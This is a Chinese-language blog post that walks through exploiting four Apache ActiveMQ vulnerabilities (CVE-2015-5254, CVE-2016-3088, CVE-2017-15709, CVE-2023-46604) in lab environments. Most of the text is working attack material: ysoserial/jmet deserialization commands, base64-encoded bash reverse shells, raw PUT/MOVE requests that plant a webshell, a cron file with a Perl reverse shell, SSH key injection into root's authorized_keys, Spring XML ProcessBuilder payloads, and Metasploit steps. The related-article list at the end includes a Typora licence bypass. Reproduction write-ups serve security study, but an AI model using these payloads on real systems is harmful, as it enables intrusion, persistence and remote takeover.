ActiveMQ漏洞合集

目录

  • 介绍
  • CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
    • Nuclei❌
    • Vulmap✅
    • 漏洞验证
    • 漏洞利用
  • CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞
    • 漏洞发现
    • Nuclei✅
    • Vulmap✅
    • MSF✅
    • 第三方工具1(漏洞探测)✅
    • 漏洞验证
    • 方式1:写入webshell
    • 方式2:写入crontab,自动化弹shell
    • 方式3:写入ssh key
  • CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞验证
  • CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现(针对linux系统)
    • Nuclei❌
    • MSF❌
    • 第三方工具1(反弹shell)
    • 第三方工具2(反弹shell)
    • 第三方工具3(反弹shell)
    • 漏洞发现(针对Windows系统)
    • Nuclei❌
    • MSF✅
  • 参考

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考:https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:

cd vulhub-master/activemq/CVE-2015-5254
docker-compose up -d
docker ps
docker-compose down

运行环境后,会建立61616和8161这两个端口。
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。image.png
使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
image.png

漏洞发现

Nuclei❌

Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088
image.png

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap
image.png

漏洞验证

  1. 生成序列化的有效负载(可以使用 ysoserial)
  2. 作为一个消息,将有效负载发送到端口 61616
  3. 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。
image.png

  1. 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
# 下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar# 创建external目录
mkdir external
  1. 执行命令,将有效负载发送到目标IP的61616端口。

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616

image.png

  1. 这时,会给目标ActiveMQ添加一个event列,我们可以通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

image.png
点击查看这条消息即可触发命令执行
image.png
点击一下
image.png
登录ActiveMQ容器环境docker exec -it [容器ID] bash,查看命令已经执行成功,/tmp/sucess文件已成功创建。
image.png

漏洞利用

反弹shell到vps上

  1. 将命令替换成弹shell的语句再利用
  2. 将反弹语句bese64编码
  3. vps开启端口监听

生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html

bash -i >& /dev/tcp/192.168.229.128/6666 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

执行弹shell命令(这里记住ID号,后面会用到)

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616

image.png
通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,找到相关消息,点击它
image.png
点击之后,即可执行命令,反弹shell
image.png

CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞

**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围:Apache ActiveMQ <= 5.13.3
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考:https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:

cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d
docker ps
docker-compose down

漏洞发现

Nuclei✅

Nuclei检测到了两个默认口令以及CVE-2016-3088
image.png
image.png

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap
image.png

MSF✅

search CVE-2016-3088
exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 192.168.229.140
exploit

image.png

第三方工具1(漏洞探测)✅

项目地址:https://github.com/YutuSec/ActiveMQ_Crack
image.png

漏洞验证

我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。

方式1:写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问
默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

需要知道ActiveMQ的绝对路径
需要能登录admin或者api

image.png

  1. 上传webshell(这里使用冰蝎的 jsp 马):

这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改

PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976webshell...

image.png
此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt
image.png

  1. 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。
利用MOVE,可以将木马文件移动到api或者admin

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image.png

  1. 访问一下,看起来上传成功了:http://192.168.229.140:8161/api/s.jsp

image.png

  1. 连接webshell

需要设置一下请求头

image.png
找到了上传的马子
image.png

方式2:写入crontab,自动化弹shell

需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限

这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html

  1. 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image.png
将其移动到/etc/cron.d/root

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image.png
如果上述两个请求都返回204了,说明写入成功。等待反弹shell
【不知道为什么,反弹失败】

方式3:写入ssh key

这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html

需要运行ActiveMQ的用户有root权限
需要服务器开启了ssh服务,并且攻击机可以连接
  1. 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

image.png

  1. 端口探测

服务器端口:22、8161和61616端口可达
image.png

  1. 开始攻击

上传我们的 ssh 公钥,从而实现 SSH 方式登录

ssh-keygen -t rsa
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 562ssh-rsa[SSH公钥]

image.png
移动到/root/.ssh/并重命名为authorized_keys

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image.png

  1. SSH登录目标系统

image.png

CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞

漏洞介绍 & 环境准备

**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围:5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考:https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建:使用在线靶场https://vulfocus.cn/

漏洞验证

使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。
此处,靶场对外映射的端口是25303
image.png
image.png

CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围

5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
Apache ActiveMQ<5.15.16
5.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.3
5.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.16
5.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.7
5.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6

修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考:https://blog.csdn.net/qq_41904294/article/details/134066087
**环境搭建:**下载地址:https://activemq.apache.org/download-archives.html

tar -zxvf ./apache-activemq-5.18.1-bin.tar.gz
cd apache-activemq-5.18.1/bin/
./activemq start
./activemq stop

默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf文件夹,找到jetty.xml,修改为0.0.0.0后重启ActiveMQ即可。
image.png
登录系统,系统版本是有漏洞的。
image.png

漏洞发现(针对linux系统)

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来
image.png
image.png

MSF❌

仅支持windows的payload,因此无法针对linux系统反弹shell

search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
show payloads

image.png

第三方工具1(反弹shell)

项目地址:https://github.com/sule01u/CVE-2023-46604
反弹shell的xml文件:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean>
</beans>

image.png

第三方工具2(反弹shell)

项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
反弹shell的xml文件:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean>
</beans>
  1. JDK11启动工具
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
  1. 反弹shell

image.png

第三方工具3(反弹shell)

教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087
项目地址:https://github.com/trganda/ActiveMQ-RCE
直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了
image.png

漏洞发现(针对Windows系统)

确认关闭了防火墙

漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg
启动环境
image.png

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来
image.png

MSF✅

search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
set SRVPORT 8081
exploit

image.png

参考

activemq介绍及漏洞总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/225274.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习硬件十年:性能变迁与趋势

本文分析了机器学习硬件性能的最新趋势&#xff0c;重点关注不同GPU和加速器的计算性能、内存、互连带宽、性价比和能效等指标。这篇分析旨在提供关于ML硬件能力及其瓶颈的全面视图。本文作者来自调研机构Epoch&#xff0c;致力于研究AI发展轨迹与治理的关键问题和趋势。 &…

Typora Mac激活

首先去官网选择mac版本下载安装 typora下载 然后打开typora包内容找到 /Applications/Typora.app/Contents/Resources/TypeMark/page-dist 找到/static/js/Licen..如下图 编辑器打开上面文件夹 输入 hasActivated"true"e.hasActivated 进行搜索 将它改为 hasA…

算法基础之数字三角形

数字三角形 核心思想&#xff1a;线性dp 集合的定义为 f[i][j] –> 到i j点的最大距离 从下往上传值 父节点f[i][j] max(f[i1][j] , f[i1][j1]) w[i][j] 初始化最后一层 f w #include <bits/stdc.h>using namespace std;const int N 510;int w[N][N],f[N][…

12.26

key_it.c #include"key_it.h" void led_init() {// 设置GPIOE/GPIOF时钟使能RCC->MP_AHB4ENSETR | (0x3 << 4);// 设置PE10/PE8/PF10为输出模式GPIOE->MODER & (~(0x3 << 20));GPIOE->MODER | (0x1 << 20);GPIOE->MODER & (~…

Java之遍历树状菜单

&#x1f607;作者介绍&#xff1a;一个有梦想、有理想、有目标的&#xff0c;且渴望能够学有所成的追梦人。 &#x1f386;学习格言&#xff1a;不读书的人,思想就会停止。——狄德罗 ⛪️个人主页&#xff1a;进入博主主页 &#x1f5fc;专栏系列&#xff1a;无 &#x1f33c…

【小白专用】Apache下禁止显示网站目录结构的方法 更新23.12.25

给我一个网站地址&#xff0c;我点开后显示的是目录格式&#xff0c;把网站的目录结构全部显示出来了 这个显示结果不正确&#xff0c;不应该让用户看到我们的目录结构 配置文件的问题,apache配置文件里有一项可以禁止显示网站目录的配置项&#xff0c;禁止掉就好了 在apache…

alertmanage调用企业微信告警(k8s内部署)

一、前言 alertmanage调用企业微信应用告警会比直接使用钉钉告警更麻烦一点&#xff0c;调用企业微信应用告警需要在应用内配置企业可信ip&#xff0c;不然调用企业微信接口就会报错&#xff0c;提示ip地址有风险 二、部署 先自行创建企业微信&#xff0c;再使用管理后台创建应…

【GitHub精选项目】抖音/ TikTok 视频下载:TikTokDownloader 操作指南

前言 本文为大家带来的是 JoeanAmier 开发的 TikTokDownloader 项目&#xff0c;这是一个高效的下载 抖音/ TikTok 视频的开源工具。特别适合用户们保存他们喜欢的视频或分享给其他人。 TikTokDownloader 是一个专门设计用于下载 TikTok 视频的工具&#xff0c;旨在为用户提供一…

阿里云自建官方Docker仓库镜像提交拉取方法

文章目录 发布镜像到DockerHub发布镜像到自建Docker仓库(Harbor)修改配置文件在Linux服务器中登录Docker打TAGPUSH提交镜像PULL拉取镜像 发布镜像到阿里云容器服务在Linux服务器中登录DockerPUSH提交镜像PULL拉取镜像 发布镜像到DockerHub 本地我们镜像命名可能会不规范&#…

设计模式-单例模式(结合JVM基础知识)

1.定义介绍 所谓单例模式&#xff0c;是指在程序运行时&#xff0c;整个JVM中只有一个该类的实例对象 2. 单例模式的优点 复用性高&#xff0c;节省内存资源。类的加载、连接、初始化、使用都要占用虚拟机内存空间&#xff0c;因此&#xff0c;频繁创建对象会造成资源浪费&a…

从企业级负载均衡到云原生,深入解读F5

上世纪九十年代&#xff0c;Internet快速发展催生了大量在线网站&#xff0c;Web访问量迅速提升。在互联网泡沫破灭前&#xff0c;这个领域基本是围绕如何对Web网站进行负载均衡与优化。从1997年F5发布了BIG-IP&#xff0c;到快速地形成完整ADC产品线&#xff0c;企业级负载均衡…

家校互通小程序实战开发02首页搭建

目录 1 创建应用2 搭建首页总结 我们上一篇介绍了家校互通小程序的需求&#xff0c;创建了对应的数据源。有了这个基础的分析之后&#xff0c;我们就可以进入到开发阶段了。开发小程序&#xff0c;先需要创建应用。 1 创建应用 登录控制台&#xff0c;点击创建应用&#xff0c…

工具系列:TimeGPT_(2)使用外生变量时间序列预测

文章目录 TimeGPT使用外生变量时间序列预测导入相关工具包预测欧美国家次日电力价格案例 TimeGPT使用外生变量时间序列预测 外生变量在时间序列预测中非常重要&#xff0c;因为它们提供了可能影响预测的额外信息。这些变量可以包括假日标记、营销支出、天气数据或与你正在预测…

CentOS安装Docker

目录 一、前置条件 二、安装Docker 安装方式 配置镜像仓库 执行安装 启动Docker 检查Docker是否可以正常运行 三、卸载Docker 卸载Docker核心组件 清理Docker相关资源 参考文档 一、前置条件 安装 Docker 之前&#xff0c;需要先准备 CentOS 环境 目前支持 CentOS…

VScode跑通Remix.js官方的contact程序开发过程

目录 1 引言 2 安装并跑起来 3 设置根路由 4 用links来添加风格资源 ​5 联系人路由的UI 6 添加联系人的UI组件 7 嵌套路由和出口 8 类型推理 9 Loader里的URL参数 10 验证参数并抛出响应 书接上回&#xff0c;我们已经跑通了remix的quick start项目&#xff0c;接下…

Linux开发工具——gcc篇

gcc的使用 文章目录 gcc的使用 历史遗留问题&#xff08;普通用户sudo&#xff09; gcc编译过程 预处理&#xff08;进行宏替换&#xff09; 编译&#xff08;生成汇编&#xff09; 汇编&#xff08;生成机器可识别代码&#xff09; 链接&#xff08;生成可执行文件或库文件&a…

LSTM的记忆能力实验

长短期记忆网络&#xff08;Long Short-Term Memory Network&#xff0c;LSTM&#xff09;是一种可以有效缓解长程依赖问题的循环神经网络&#xff0e;LSTM 的特点是引入了一个新的内部状态&#xff08;Internal State) 和门控机制&#xff08;Gating Mechanism&#xff09;&am…

Kafka设计原理详解

Kafka核心总控制器 (Controller) 在Kafka集群中&#xff0c;通常会有一个或多个broker&#xff0c;其中一个会被选举为控制器 (Kafka Controller)&#xff0c;其主要职责是管理整个集群中所有分区和副本的状态。具体来说&#xff1a; 当某个分区的leader副本出现故障时&#…

基于gradio快速部署自己的深度学习模型(目标检测、图像分类、语义分割模型)

gradio是一款基于python的算法快速部署工具&#xff0c;本博文主要介绍使用gradio部署目标检测、图像分类、语义分割模型的部署。相比于flask&#xff0c;使用gradio不需要自己构造前端代码&#xff0c;只需要将后端接口写好即可。此外&#xff0c;基于gradio实现的项目&#x…

数据仓库【2】:架构

数据仓库【2】&#xff1a;架构 1、架构图2、ETL流程2.1、ETL -- Extract-Transform-Load2.1.1、数据抽取&#xff08;Extraction&#xff09;2.1.2、数据转换&#xff08;Transformation&#xff09;2.1.3、数据加载&#xff08; Loading &#xff09; 2.2、ETL工具2.2.1、结构…